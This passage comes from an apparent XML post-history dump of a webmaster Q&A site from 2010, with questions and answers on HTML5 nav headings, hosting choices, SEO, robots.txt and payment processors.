&lt;ul&gt;&#xD;&#xA;            &lt;li&gt;&lt;a href=&quot;#&quot;&gt;Link 1&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;            &lt;li&gt;&lt;a href=&quot;#&quot;&gt;Link 2&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;            &lt;li&gt;&lt;a href=&quot;#&quot;&gt;Link 3&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;            &lt;li&gt;&lt;a href=&quot;#&quot;&gt;Link 4&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;        &lt;/ul&gt;&#xD;&#xA;    &lt;/nav&gt;&#xD;&#xA;&#xD;&#xA;In other words, should the titles be inside are outside the `&lt;nav&gt;` tag?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="13922" PostHistoryTypeId="1" PostId="6923" RevisionGUID="4adfa4de-87fd-4343-9e26-9a5e8e294058" CreationDate="2010-12-20T12:14:30.103" UserId="3955" Text="Should the titles (h1, h2, h3...) be inside are outside the &lt;nav&gt; tag?" />
  <row Id="13923" PostHistoryTypeId="3" PostId="6923" RevisionGUID="4adfa4de-87fd-4343-9e26-9a5e8e294058" CreationDate="2010-12-20T12:14:30.103" UserId="3955" Text="&lt;html&gt;&lt;html5&gt;&lt;semantic-web&gt;" />
  <row Id="13924" PostHistoryTypeId="2" PostId="6924" RevisionGUID="060df1c2-2de9-4c29-8125-ef8e4b7caf36" CreationDate="2010-12-20T12:21:49.773" UserId="3307" Text="h tags are for the structure of the content of the page. I wouldn't say navigation is part of the content of the page, so it doesn't make sense to me to have h tags in the navigation. " />
  <row Id="13929" PostHistoryTypeId="10" PostId="6912" RevisionGUID="6afe419e-d1c7-43d4-a77d-f6770ea81f3c" CreationDate="2010-12-20T12:47:26.127" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="13930" PostHistoryTypeId="5" PostId="6912" RevisionGUID="339937e5-0b3d-4f57-9a4c-ae323e7dc156" CreationDate="2010-12-20T12:47:26.220" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [image behind adsense](http://webmasters.stackexchange.com/questions/6791/image-behind-adsense)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;i have a google ad, where i want to place an image, i tired the css, but the image is not coming properly,&#xD;&#xA;my google ad size is height=280, width=336&#xD;&#xA;the image url is http://www.clker.com/cliparts/e/p/V/F/o/0/notepad-hi.png&#xD;&#xA;&#xD;&#xA;i want this image behind my ad, i tried this following code:-&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;        background:url(&quot;http://www.clker.com/cliparts/e/p/V/F/o/0/notepad-hi.png&quot;)transparent;&#xD;&#xA;        height: 300px;&#xD;&#xA;        padding: 50px 30px 0;&#xD;&#xA;        width: 350px;    &#xD;&#xA;    }" />
  <row Id="13931" PostHistoryTypeId="2" PostId="6925" RevisionGUID="1a40461b-af3e-4a52-8743-00d4e5e93c3a" CreationDate="2010-12-20T13:04:39.217" UserId="2616" Text="According to the HTML5 spec, &quot;nav&quot; is a &quot;section&quot; and a section &quot;is content that defines the scope of headings and footers.&quot; The W3C example for the nav section shows h tags in the the nav.&#xD;&#xA;&#xD;&#xA;http://www.w3.org/TR/html5/sections.html#the-nav-element" />
  <row Id="13932" PostHistoryTypeId="2" PostId="6926" RevisionGUID="ab9aad21-1942-4595-a99e-b990019b5077" CreationDate="2010-12-20T14:30:11.787" UserId="4008" Text="Paypal has a policy against having using them if your site has *any* adult content. I'm wondering if there are any services that work similar to paypal, but that don't mind some adult content, or being somehow connected to it" />
  <row Id="13933" PostHistoryTypeId="1" PostId="6926" RevisionGUID="ab9aad21-1942-4595-a99e-b990019b5077" CreationDate="2010-12-20T14:30:11.787" UserId="4008" Text="Paypal alternatives for personal site donations &quot;adult friendly&quot;" />
  <row Id="13934" PostHistoryTypeId="3" PostId="6926" RevisionGUID="ab9aad21-1942-4595-a99e-b990019b5077" CreationDate="2010-12-20T14:30:11.787" UserId="4008" Text="&lt;payments&gt;&lt;paypal&gt;&lt;payment-gateway&gt;" />
  <row Id="13935" PostHistoryTypeId="2" PostId="6927" RevisionGUID="11372422-67e7-44c2-99a4-9e4e56b150bc" CreationDate="2010-12-20T14:43:47.537" UserId="1253" Text="[CCBill][1] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ccbill.com/" />
  <row Id="13936" PostHistoryTypeId="6" PostId="6926" RevisionGUID="317e8928-21a2-4fc0-baf6-8e5f848b9219" CreationDate="2010-12-20T14:44:10.283" UserId="1253" Comment="Add history they placed in comments" Text="&lt;payments&gt;&lt;paypal&gt;&lt;payment-gateway&gt;&lt;adult-content&gt;" />
  <row Id="13937" PostHistoryTypeId="5" PostId="6926" RevisionGUID="317e8928-21a2-4fc0-baf6-8e5f848b9219" CreationDate="2010-12-20T14:44:10.283" UserId="1253" Comment="Add history they placed in comments" Text="Paypal has a policy against having using them if your site has *any* adult content. I'm wondering if there are any services that work similar to paypal, but that don't mind some adult content, or being somehow connected to it&#xD;&#xA;&#xD;&#xA;little history is that a blogger I read got kicked off of paypal. tried to open a new site on a non sex related topic for donations due to a child custody battle, and paypal shut that off because the account is &quot;related&quot; to the previous account. I personally don't agree with this. So I'm curious what options might exist for something that's not so profitable and doesn't need a &quot;full payment gateway&quot;" />
  <row Id="13938" PostHistoryTypeId="2" PostId="6928" RevisionGUID="f937eb97-2b4d-44bd-8e43-5f428e2c06f5" CreationDate="2010-12-20T14:47:51.823" UserId="3535" Text="Seems to load fine with FF 3.6.8." />
  <row Id="13939" PostHistoryTypeId="5" PostId="6923" RevisionGUID="2f102cd7-52a3-4eda-8958-a1116e777176" CreationDate="2010-12-20T14:58:19.790" UserId="1757" Comment="cleanup" Text="Let's say I want to write a simple menu in HTML5.&#xD;&#xA;&#xD;&#xA;Should I write like this:&#xD;&#xA;&#xD;&#xA;    &lt;h1&gt;My Menu&lt;/h1&gt;&#xD;&#xA;    &lt;h2&gt;Submenu 1&lt;/h2&gt;&#xD;&#xA;    &lt;nav&gt;&#xD;&#xA;        &lt;ul&gt;&#xD;&#xA;            &lt;li&gt;&lt;a href=&quot;#&quot;&gt;Link 1&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;            &lt;li&gt;&lt;a href=&quot;#&quot;&gt;Link 2&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;            ...&#xD;&#xA;        &lt;/ul&gt;&#xD;&#xA;    &lt;/nav&gt;&#xD;&#xA;    &lt;h2&gt;Submenu 2&lt;/h2&gt;&#xD;&#xA;    &lt;nav&gt;&#xD;&#xA;        &lt;ul&gt;&#xD;&#xA;            &lt;li&gt;&lt;a href=&quot;#&quot;&gt;Link 1&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;            &lt;li&gt;&lt;a href=&quot;#&quot;&gt;Link 2&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;            ...&#xD;&#xA;        &lt;/ul&gt;&#xD;&#xA;    &lt;/nav&gt;&#xD;&#xA;&#xD;&#xA;Or like this:&#xD;&#xA;&#xD;&#xA;    &lt;nav&gt;&#xD;&#xA;        &lt;h1&gt;My Menu&lt;/h1&gt;&#xD;&#xA;        &lt;h2&gt;Submenu 1&lt;/h2&gt;&#xD;&#xA;        &lt;ul&gt;&#xD;&#xA;            &lt;li&gt;&lt;a href=&quot;#&quot;&gt;Link 1&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;            &lt;li&gt;&lt;a href=&quot;#&quot;&gt;Link 2&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;            ...&#xD;&#xA;        &lt;/ul&gt;&#xD;&#xA;        &lt;h2&gt;Submenu 2&lt;/h2&gt;&#xD;&#xA;        &lt;ul&gt;&#xD;&#xA;            &lt;li&gt;&lt;a href=&quot;#&quot;&gt;Link 1&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;            &lt;li&gt;&lt;a href=&quot;#&quot;&gt;Link 2&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;            ...&#xD;&#xA;        &lt;/ul&gt;&#xD;&#xA;    &lt;/nav&gt;&#xD;&#xA;&#xD;&#xA;In other words, should the titles be inside or outside the `&lt;nav&gt;` tag?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="13940" PostHistoryTypeId="4" PostId="6923" RevisionGUID="2f102cd7-52a3-4eda-8958-a1116e777176" CreationDate="2010-12-20T14:58:19.790" UserId="1757" Comment="cleanup" Text="Should menu titles (h1, h2, h3...) be inside or outside the &lt;nav&gt; tag?" />
  <row Id="13941" PostHistoryTypeId="2" PostId="6929" RevisionGUID="38884ffb-f036-4973-b866-c65784b884ea" CreationDate="2010-12-20T15:20:36.930" UserId="1757" Text="Check apache's error log. When the user agent is FF 3.6.13, it's causing an internal server error (response code 500). But this could be from any number of factors, so there's no way for us to diagnose the problem without more information." />
  <row Id="13942" PostHistoryTypeId="2" PostId="6930" RevisionGUID="e551de30-7f68-4182-bb39-bb32bddc3b1b" CreationDate="2010-12-20T16:03:32.427" UserDisplayName="naiad" Text="There are a lot websites where you upload file and many people download it. I guess these servers are located in ISP where the transfer is very cheap, I guess Europe, because US has expensive transfer data.&#xD;&#xA;&#xD;&#xA;I mean sites like 4shared, yousendit, filestube, fileserve, ... and other &quot;movie repository&quot; sites :P&#xD;&#xA;&#xD;&#xA;Where are they usually hosted to get cheaper transfer data ?&#xD;&#xA;&#xD;&#xA;Thank you" />
  <row Id="13943" PostHistoryTypeId="1" PostId="6930" RevisionGUID="e551de30-7f68-4182-bb39-bb32bddc3b1b" CreationDate="2010-12-20T16:03:32.427" UserDisplayName="naiad" Text="Which ISPs has the cheapest transfer?" />
  <row Id="13944" PostHistoryTypeId="3" PostId="6930" RevisionGUID="e551de30-7f68-4182-bb39-bb32bddc3b1b" CreationDate="2010-12-20T16:03:32.427" UserDisplayName="naiad" Text="&lt;server&gt;&lt;data&gt;&lt;transfer&gt;&lt;isp&gt;&lt;cheap&gt;" />
  <row Id="13945" PostHistoryTypeId="17" PostId="6930" RevisionGUID="821a6fc3-0b2f-4545-9ace-9dbe3aff3a22" CreationDate="2010-12-20T16:34:55.247" UserId="-1" Comment="from http://stackoverflow.com/questions/4491377/which-isps-has-the-cheapest-transfer" Text="" />
  <row Id="13946" PostHistoryTypeId="2" PostId="6931" RevisionGUID="a7a2436d-b3f5-4574-bb7c-59d5baf05425" CreationDate="2010-12-20T16:55:53.807" UserId="1757" Text="First off, sites like 4shared/fileserve/mediafire are file hosting/file sharing sites. They're not &quot;movie repository&quot; sites. Most people use them for legal storage and sending files too large to be attached to an email. And filestube is just a search engine for file sharing sites. They don't host anything.&#xD;&#xA;&#xD;&#xA;Secondly, large websites of any kind generally use content distribution networks. They're not hosted in a single country. And every country has cheap and expensive web hosts, including the U.S. It doesn't make sense to get a Nigerian web host just to save $10/month in bandwidth costs if it means your site will be slow to all of your users." />
  <row Id="13947" PostHistoryTypeId="2" PostId="6932" RevisionGUID="29b59e05-3b1e-48c6-90f5-e852f5270f12" CreationDate="2010-12-20T17:04:42.297" UserDisplayName="درج آگهی رایگان" Text="would you list 5 most important seo jobs to do , that you have achieved on your personal experiences.&#xD;&#xA;&#xD;&#xA;thanks " />
  <row Id="13948" PostHistoryTypeId="1" PostId="6932" RevisionGUID="29b59e05-3b1e-48c6-90f5-e852f5270f12" CreationDate="2010-12-20T17:04:42.297" UserDisplayName="درج آگهی رایگان" Text="5 most important seo " />
  <row Id="13949" PostHistoryTypeId="3" PostId="6932" RevisionGUID="29b59e05-3b1e-48c6-90f5-e852f5270f12" CreationDate="2010-12-20T17:04:42.297" UserDisplayName="درج آگهی رایگان" Text="&lt;seo&gt;" />
  <row Id="13950" PostHistoryTypeId="17" PostId="6932" RevisionGUID="e493bb66-fe02-4c51-b2ba-5a29023c1130" CreationDate="2010-12-20T17:07:21.573" UserId="-1" Comment="from http://stackoverflow.com/questions/4491967/5-most-important-seo" Text="" />
  <row Id="13951" PostHistoryTypeId="2" PostId="6933" RevisionGUID="d20502b8-9675-484e-b5df-f7d7f631e0ad" CreationDate="2010-12-20T17:10:01.443" UserId="241" Text="Having good content and clean semantic HTML." />
  <row Id="13952" PostHistoryTypeId="2" PostId="6934" RevisionGUID="37fb2a71-3792-4ab5-9a4e-64e10ef15cd0" CreationDate="2010-12-20T17:56:25.057" UserId="4011" Text="You need to correctly fill the title tag, use the h1 tags, have link from other websites with good Anchor texts.&#xD;&#xA;&#xD;&#xA;Having a good domain name and the server location can also help." />
  <row Id="13953" PostHistoryTypeId="2" PostId="6935" RevisionGUID="d8e1298b-923e-42d2-a474-23b3144fd570" CreationDate="2010-12-20T18:03:55.937" UserId="4011" Text="As James mentionned, one of the most important thing thing is to see how fast they can answer you, and how accurate are their answer, my personnal method is to write to the support/tech department a question about sales, do not write to sales directly!&#xD;&#xA;&#xD;&#xA;That way you will have your answer, you will see how fast they can transfer you if you are in the wrong department, and you will have your answers. I've tried writting to sales before and they usually answer faster than technical support, if you have a problem with your host you need to know how fast the tech will answer ;)&#xD;&#xA;&#xD;&#xA;Also one good point is to use a hosting that is the nearest of your streaming location and the nearest of your target." />
  <row Id="13954" PostHistoryTypeId="2" PostId="6936" RevisionGUID="2f212668-5cb4-4f71-8c45-8d47095e86e5" CreationDate="2010-12-20T20:03:35.970" UserId="2011" Text="Have you seen the [Columns Filter][1] module? On the input side, it may not be as wysiwyg as a solution with CKeditor templates, but I think it should work fine on the output side.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://drupal.org/project/columns_filter" />
  <row Id="13955" PostHistoryTypeId="2" PostId="6937" RevisionGUID="79fb0ff6-b7b8-4259-ad55-35e23a6b27c5" CreationDate="2010-12-20T21:10:44.010" UserId="3021" Text="On my company's website, we have various professionals listed with links to download their vcard. We want to include a link to the vcard in email signatures, however when clicking a link to a vcard contained in an email doesn't work in IE (IE displays a &quot;cannot download&quot; error).&#xD;&#xA;&#xD;&#xA;I've inspected the response from the webserver using Fiddler, and the vcard response is exactly the same when viewing the link on our website vs clicking the link in an email. Also confirmed that copy/pasting the link to a vcard into IE's address bar yields the same error as clicking the link in an email - IE won't open it.&#xD;&#xA;&#xD;&#xA;It almost seems as though IE can't open a vcard unless you click a link (on a website) to the vcard. Going directly to the vcard doesn't work.&#xD;&#xA;" />
  <row Id="13956" PostHistoryTypeId="1" PostId="6937" RevisionGUID="79fb0ff6-b7b8-4259-ad55-35e23a6b27c5" CreationDate="2010-12-20T21:10:44.010" UserId="3021" Text="internet explorer can't open vcard" />
  <row Id="13957" PostHistoryTypeId="3" PostId="6937" RevisionGUID="79fb0ff6-b7b8-4259-ad55-35e23a6b27c5" CreationDate="2010-12-20T21:10:44.010" UserId="3021" Text="&lt;internet-explorer&gt;" />
  <row Id="13958" PostHistoryTypeId="5" PostId="6653" RevisionGUID="515cb1f4-cfbc-42be-a7e8-6168e1ce4bcd" CreationDate="2010-12-20T23:30:12.677" UserDisplayName="Peter V. Mørch" Comment="added 57 characters in body" Text="On our site we have tables containing data. We like the column widths we get with a normal `table`, but we like the border-bottom of `td`s to stretch the entire width of the page like we get with CSS: `table { width:100% }`, as can be seen on a [demo table widths page](http://www.morch.com/download/tableWidth/tableWidths.html).&#xD;&#xA;&#xD;&#xA;Is it possible to achieve the same column widths as with a normal (non-width-100%) table in a table where the border-bottom stretches the entire width?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Btw, is there _a better way_ (tm) of showing HTML snippets than linking to an external page? I can show just source, but having HTML rendered too is _so_ illustrative.&#xD;&#xA;&#xD;&#xA;We need a solution that works in at least IE6-8 + FF." />
  <row Id="13959" PostHistoryTypeId="2" PostId="6939" RevisionGUID="2f126189-7c50-4bc9-aa89-7f2ad2224274" CreationDate="2010-12-21T00:39:35.887" UserDisplayName="Kalendae" Text="what is your budget and expectations on uptime and stability?&#xD;&#xA;&#xD;&#xA;I recommend a vps like linode.com where you get root access and can install whatever you want.  They have great uptime and stability and performance is as expected from the memory/cpu/disk you are alloted.&#xD;&#xA;&#xD;&#xA;there are also extremely cheap solutions like yardvps.com but in my experience these solutions have spotty performance and less stability." />
  <row Id="13960" PostHistoryTypeId="2" PostId="6940" RevisionGUID="3d629b43-b9b9-4514-b2c9-4b02e16b27b0" CreationDate="2010-12-21T00:40:06.560" UserDisplayName="user541225" Text="[Inmotion][1] and [Bluehost][2] are pretty good.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.inmotionhosting.com/&#xD;&#xA;  [2]: https://www.bluehost.com/" />
  <row Id="13961" PostHistoryTypeId="2" PostId="6938" RevisionGUID="03c65b3d-517e-467b-8f17-d29094cfd4a3" CreationDate="2010-12-21T00:34:53.030" UserDisplayName="HELP" Text="I'm using godaddy and am thinking of moving to another hosting company that allows easier mod_rewrites and a bigger limit for a mysql database. Does anyone know of a better hosting company that does this?" />
  <row Id="13962" PostHistoryTypeId="1" PostId="6938" RevisionGUID="03c65b3d-517e-467b-8f17-d29094cfd4a3" CreationDate="2010-12-21T00:34:53.030" UserDisplayName="HELP" Text="Hosting plans that allow more then 1 GB for mysql and easier mod_rewrites?" />
  <row Id="13963" PostHistoryTypeId="3" PostId="6938" RevisionGUID="03c65b3d-517e-467b-8f17-d29094cfd4a3" CreationDate="2010-12-21T00:34:53.030" UserDisplayName="HELP" Text="&lt;mysql&gt;&lt;mod-rewrite&gt;&lt;web-hosting&gt;" />
  <row Id="13964" PostHistoryTypeId="17" PostId="6938" RevisionGUID="7390a4b1-72f9-4856-b3d1-b1e1459ce3bc" CreationDate="2010-12-21T00:54:22.333" UserId="-1" Comment="from http://stackoverflow.com/questions/4495320/hosting-plans-that-allow-more-then-1-gb-for-mysql-and-easier-mod-rewrites" Text="" />
  <row Id="13965" PostHistoryTypeId="2" PostId="6941" RevisionGUID="3b01281f-a6ad-44f1-a0e0-54246b319d86" CreationDate="2010-12-21T02:52:34.463" UserDisplayName="Mohammad" Text="This is totally killing me.&#xD;&#xA;&#xD;&#xA;I have a wordpress website about flash games and this is the link if you want to check x1q.com (it is not english)&#xD;&#xA;&#xD;&#xA;Well the problem is that I've disabled indexing tags and wp-directories and cetra but what I see is that google still indexing tags and I have a hell lots of tags  instead of indexing posts. &#xD;&#xA;&#xD;&#xA;I've already submitted the sitemap.xml but these tags keep indexing why? shouldn't google robots understand that I don't want to index them????&#xD;&#xA;&#xD;&#xA;Sitemap: http://x1q.com/sitemap.xml&#xD;&#xA;&#xD;&#xA;User-agent: *&#xD;&#xA;&#xD;&#xA;Disallow: /wp-content/&#xD;&#xA;Disallow: /wp-icludes/&#xD;&#xA;Disallow: /cgi-bin&#xD;&#xA;Disallow: /cgi-bin/&#xD;&#xA;Disallow: /trackback/&#xD;&#xA;Disallow: /wp-admin/&#xD;&#xA;Disallow: /archives/&#xD;&#xA;Disallow: /tag/*&#xD;&#xA;Disallow: /tag/&#xD;&#xA;Disallow: /wp-*&#xD;&#xA;Disallow: /login/&#xD;&#xA;Disallow: */trackback&#xD;&#xA;Disallow: /*.js$&#xD;&#xA;Disallow: /*.inc$&#xD;&#xA;Disallow: /*.css$&#xD;&#xA;Disallow: /*.php$&#xD;&#xA;Disallow: /*?*&#xD;&#xA;Disallow: /*?&#xD;&#xA;Disallow: /20*&#xD;&#xA;&#xD;&#xA;User-agent: All&#xD;&#xA;Allow: /&#xD;&#xA;&#xD;&#xA;User-agent: Googlebot-Image&#xD;&#xA;Disallow: /&#xD;&#xA;&#xD;&#xA;User-agent: ia_archiver&#xD;&#xA;Disallow: /" />
  <row Id="13966" PostHistoryTypeId="1" PostId="6941" RevisionGUID="3b01281f-a6ad-44f1-a0e0-54246b319d86" CreationDate="2010-12-21T02:52:34.463" UserDisplayName="Mohammad" Text="I disabled indexing WP tags,wp-contents,etc in robot.txt but it google still indexing!!" />
  <row Id="13967" PostHistoryTypeId="3" PostId="6941" RevisionGUID="3b01281f-a6ad-44f1-a0e0-54246b319d86" CreationDate="2010-12-21T02:52:34.463" UserDisplayName="Mohammad" Text="&lt;wordpress&gt;&lt;indexing&gt;&lt;tags&gt;" />
  <row Id="13968" PostHistoryTypeId="2" PostId="6942" RevisionGUID="adeeba73-cd5e-467c-9fa6-16cf020a0ecf" CreationDate="2010-12-21T04:50:25.580" UserId="3819" Text="Supplementing Steven's great post:&#xD;&#xA;&#xD;&#xA;**&quot;Managed&quot; vs &quot;Unmanaged&quot;** is one big distinction you'll find in hosting. You'll find hosting packages that look equivalent, but some will be much cheaper than the others. The cheaper packages are generally unmanaged. There's no support staff to help you upgrade PHP, tell you why your script stopped working, or tell you why your website is suddenly slow. Managed hosting, on the other hand, had staff to answer questions for you. &#xD;&#xA;&#xD;&#xA;**I recommend managed hosting** for you. You sound like someone who wants to copy your PHP application over, change some lines in a config.php file, and be on your way.&#xD;&#xA;&#xD;&#xA;**Dedicated vs Semi-Dedicated (Hybrid) vs VPS** is another distinction. Since you're on a very limited shared platform, you probably don't need a huge upgrade, nor do you need to spent over $100/month for hosting, so you can cross Dedicated hosting off the list.&#xD;&#xA;&#xD;&#xA;Hybrid servers are basically another way to say &quot;VPS on great servers&quot;. They're also more expensive and powerful than what you probably need.&#xD;&#xA;&#xD;&#xA;I recommend a VPS package. It's pretty much THE &quot;next step&quot; once you outgrow a shared environment. You can expand your resources easily and they're cheaper than dedicated and hybrid servers.&#xD;&#xA;&#xD;&#xA;Some personal testimonies:&#xD;&#xA;&#xD;&#xA; - I run a busy vBulletin forum (1,100 users login each day). It became too busy for the shared platform it was on, so I moved it to a VPS where it sat for a year. Last year, I moved it to a WiredTree [Managed Hybrid Server][1], and it's been terrific ever since. Support was necessary for me at the time, as I wasn't comfortable with SSH'ing into the server command line, and I could spam them with support tickets and get responses within 10 minutes. Generic questions like &quot;Why did my server seem to crawl last night&quot; would return good answers &quot;Well, X and Y were doing Z, so I reset X for you and modified Y.&quot; Only recently did I get into programming, command line interfaces, and server configuration, but unless you are too, I recommend looking for a good managed host. WiredTree offers [VPS packages][2], but WiredTree, as a host, is more expensive than other managed alternatives (finding this out as I'm Googling at the moment)&#xD;&#xA;&#xD;&#xA; - I've recently started deploying my own web applications, learning how to do everything from the command line. If you are comfortable with an environment that lets you choose an operating system (it'll at least install that for you) and then make you do the rest on your own from the command line, [Linode][3] VPS hosting is my top pick. Cheap with great performance. Great backend panel to manage your package as well.&#xD;&#xA;&#xD;&#xA; - [VPS.net][4] also looks good.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.wiredtree.com/managedhybrid/&#xD;&#xA;  [2]: http://www.wiredtree.com/managedvps/&#xD;&#xA;  [3]: http://www.linode.com/&#xD;&#xA;  [4]: http://www.vps.net/" />
  <row Id="13969" PostHistoryTypeId="2" PostId="6943" RevisionGUID="3d914780-6a9a-4b84-aacd-cc6f7df6d723" CreationDate="2010-12-21T05:00:06.483" UserId="4020" Text="Here's my top 3 answers in order of importance (most important first):&#xD;&#xA;&#xD;&#xA;1. Create good content.&#xD;&#xA;2. Get people talking about your site and build incoming links. Contact blogs, news sites, etc. and try and convince them to discuss your site. Make sure these sites **have related content**.&#xD;&#xA;3. Ensure you have good, clean structure and property meta tags, etc. so the engines can understand your site." />
  <row Id="13970" PostHistoryTypeId="2" PostId="6944" RevisionGUID="48c646be-fb5d-4f4b-b21c-7b0582f9d490" CreationDate="2010-12-21T05:03:28.560" UserId="4021" Text="The main benefits of allowing comments are:&#xD;&#xA;&#xD;&#xA;1) **freshness:** on-going comments on evergreen posts provide fresh content for Google to index, and that keeps the crawler visiting your site more frequently&#xD;&#xA;&#xD;&#xA;2) **unique content:** if you enable user comments on content that are otherwise duplicate (e.g. product descriptions taken from affiliate feeds) then it can help you rank.&#xD;&#xA;&#xD;&#xA;In sum, these are positives.  &#xD;&#xA;&#xD;&#xA;In my experience, the spam issue is very solvable with captchas, moderation, and not enabling dofollow links." />
  <row Id="13974" PostHistoryTypeId="2" PostId="6946" RevisionGUID="aa3ffcfe-6580-4f79-b0a0-62a1947afbb5" CreationDate="2010-12-21T05:10:21.593" UserId="4021" Text="I don't know of any tool that does this, and if someone claimed to, I'd be highly skeptical.  Compete/Quantcast/Hitwise can't even get it right for an entire domain, let alone a page.&#xD;&#xA;&#xD;&#xA;That said, SEMRush may be able to help you identify which specific pages rank highly for certain high traffic keywords, which would approximate what you want." />
  <row Id="13976" PostHistoryTypeId="2" PostId="6947" RevisionGUID="6b7e53c2-c99c-4552-85d6-bf5ca0f345d3" CreationDate="2010-12-21T05:31:47.193" UserDisplayName="JP19" Text="I have heard that when domain ownership changes, the domain loses its page rank. &#xD;&#xA;&#xD;&#xA;My theory on this is:  Lots of sites selling high PR domains actually cheat. They invest in high PR links for the domain they want to sell (say buy a yahoo directory link, or maybe even use their own set of high PR pages to link to that domain temporarily). As soon as someone buys the &quot;high PR&quot; domain, they delete those links. And the new owner effectively gets a '0 page rank' site. *This* might have led to the misconception that changing owners makes the domain lose its PR. But I may be wrong.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Can someone share their insights on this? Do you think it is safe for me to change registrar without affecting my SEO and current page rank at all? (Note that changing registrars can be as good as changing owners if privacy protection is enabled - as complete whois info will change). Anyone with prior experience where changing registrars *has* or *has not* affected their SEO?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;regards,&#xD;&#xA;&#xD;&#xA;JP&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13977" PostHistoryTypeId="1" PostId="6947" RevisionGUID="6b7e53c2-c99c-4552-85d6-bf5ca0f345d3" CreationDate="2010-12-21T05:31:47.193" UserDisplayName="JP19" Text="Changing registrar and SEO" />
  <row Id="13978" PostHistoryTypeId="3" PostId="6947" RevisionGUID="6b7e53c2-c99c-4552-85d6-bf5ca0f345d3" CreationDate="2010-12-21T05:31:47.193" UserDisplayName="JP19" Text="&lt;seo&gt;&lt;pagerank&gt;&lt;registrar&gt;&lt;whois&gt;&lt;ownership&gt;" />
  <row Id="13979" PostHistoryTypeId="4" PostId="6947" RevisionGUID="fc7f049a-4efd-489b-8e25-f2e7edca69d2" CreationDate="2010-12-21T05:57:03.023" UserDisplayName="JP19" Comment="reworded question; edited title" Text="Does changing domain ownership affect SEO?" />
  <row Id="13980" PostHistoryTypeId="2" PostId="6948" RevisionGUID="8af52069-3288-4e86-adde-2c0dd901eaa9" CreationDate="2010-12-21T06:07:21.580" UserDisplayName="JP19" Text="In case you are looking for concrete / actual recommendations - you can get a cheap VPS with lots of bandwidth these days (in the US and elsewhere).   For starters - you can get a VPS with  1 / 1.5 TB monthly bandwidth for $5 a month. See if you find something to suit your need on http://www.lowendbox.com.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13981" PostHistoryTypeId="2" PostId="6949" RevisionGUID="bceaa59e-c1a4-4093-90bc-8889bb901ddb" CreationDate="2010-12-21T06:11:17.957" UserDisplayName="JP19" Text="Get a VPS with say 1GB dedicated and 2GB Burst RAM. http://www.lowendbox.com. If you can slightly increase the budget (to say $20) - you can get a very reliable XEN VPS with similar specs else openVZ should be fine as well.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13982" PostHistoryTypeId="2" PostId="6950" RevisionGUID="daa3ff37-6edd-4ab5-b7b0-c3acd273103a" CreationDate="2010-12-21T07:30:19.853" UserId="1064" Text="[Google's &quot;Information retrieval based on historical data&quot; patent][1] is about as close to authoritative (i.e. not anecdotal) data as you can get:&#xD;&#xA;&#xD;&#xA;&gt; [0101] Also, or alternatively, the&#xD;&#xA;&gt; age, or other information, regarding a&#xD;&#xA;&gt; name server associated with a domain&#xD;&#xA;&gt; may be used to predict the legitimacy&#xD;&#xA;&gt; of the domain. A &quot;good&quot; name server&#xD;&#xA;&gt; may have a mix of different domains&#xD;&#xA;&gt; from different registrars and have a&#xD;&#xA;&gt; history of hosting those domains,&#xD;&#xA;&gt; while a &quot;bad&quot; name server might host&#xD;&#xA;&gt; mainly pornography or doorway domains,&#xD;&#xA;&gt; domains with commercial words (a&#xD;&#xA;&gt; common indicator of spam), or&#xD;&#xA;&gt; primarily bulk domains from a single&#xD;&#xA;&gt; registrar, or might be brand new. The&#xD;&#xA;&gt; newness of a name server might not&#xD;&#xA;&gt; automatically be a negative factor in&#xD;&#xA;&gt; determining the legitimacy of the&#xD;&#xA;&gt; associated domain, but in combination&#xD;&#xA;&gt; with other factors, such as ones&#xD;&#xA;&gt; described herein, it could be.&#xD;&#xA;&#xD;&#xA;This would suggest that the domain's registration data and nameservers do factor in, however, anecdotally, (nameserver changes, registrant info changes, registrar changes) I would say that changing registrars has *very little* long-term impact on a domain's ranking.&#xD;&#xA;&#xD;&#xA;  [1]: http://appft1.uspto.gov/netacgi/nph-Parser?Sect1=PTO1&amp;Sect2=HITOFF&amp;d=PG01&amp;p=1&amp;u=%2Fnetahtml%2FPTO%2Fsrchnum.html&amp;r=1&amp;f=G&amp;l=50&amp;s1=%2220050071741%22.PGNR.&amp;OS=DN/20050071741&amp;RS=DN/20050071741" />
